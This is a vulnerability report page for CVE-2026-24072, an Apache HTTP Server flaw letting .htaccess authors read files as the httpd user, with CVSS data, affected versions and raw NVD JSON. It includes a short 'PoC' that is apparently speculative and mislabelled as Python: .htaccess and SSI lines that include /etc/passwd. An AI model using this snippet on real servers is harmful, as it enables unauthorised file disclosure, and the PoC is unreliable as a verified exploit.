Security Vulnerability Report
中文
CVE-2026-24072 CVSS 8.8 HIGH

CVE-2026-24072

Published: 2026-05-04 13:16:00
Last Modified: 2026-05-04 20:27:50

Description

An escalation of privilege bug in various modules in Apache HTTP 2.4.66 and earlier allows local .htaccess authors to read files with the privileges of the httpd user. Users are recommended to upgrade to version 2.4.67, which fixes this issue.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:apache:http_server:*:*:*:*:*:*:*:* - VULNERABLE
Apache HTTP Server <= 2.4.66

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-24072 # Create a malicious .htaccess file in a web accessible directory # This attempts to leverage the privilege escalation to read /etc/passwd <IfModule mod_include.c> Options +Includes AddType text/html .html AddOutputFilter INCLUDES .html </IfModule> # The specific directive depends on the vulnerable module configuration # Example using SSI to read a file (Conceptual) <!--#include virtual="/etc/passwd" -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-24072", "sourceIdentifier": "[email protected]", "published": "2026-05-04T13:16:00.297", "lastModified": "2026-05-04T20:27:50.263", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An escalation of privilege bug in various modules in Apache HTTP 2.4.66 and earlier allows local .htaccess authors to read files with the privileges of the httpd user.\n\nUsers are recommended to upgrade to version 2.4.67, which fixes this issue."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-269"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:http_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.4.67", "matchCriteriaId": "8FF781BA-CF81-400B-A155-4DAE0BD856EE"}]}]}], "references": [{"url": "https://httpd.apache.org/security/vulnerabilities_24.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/05/04/18", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}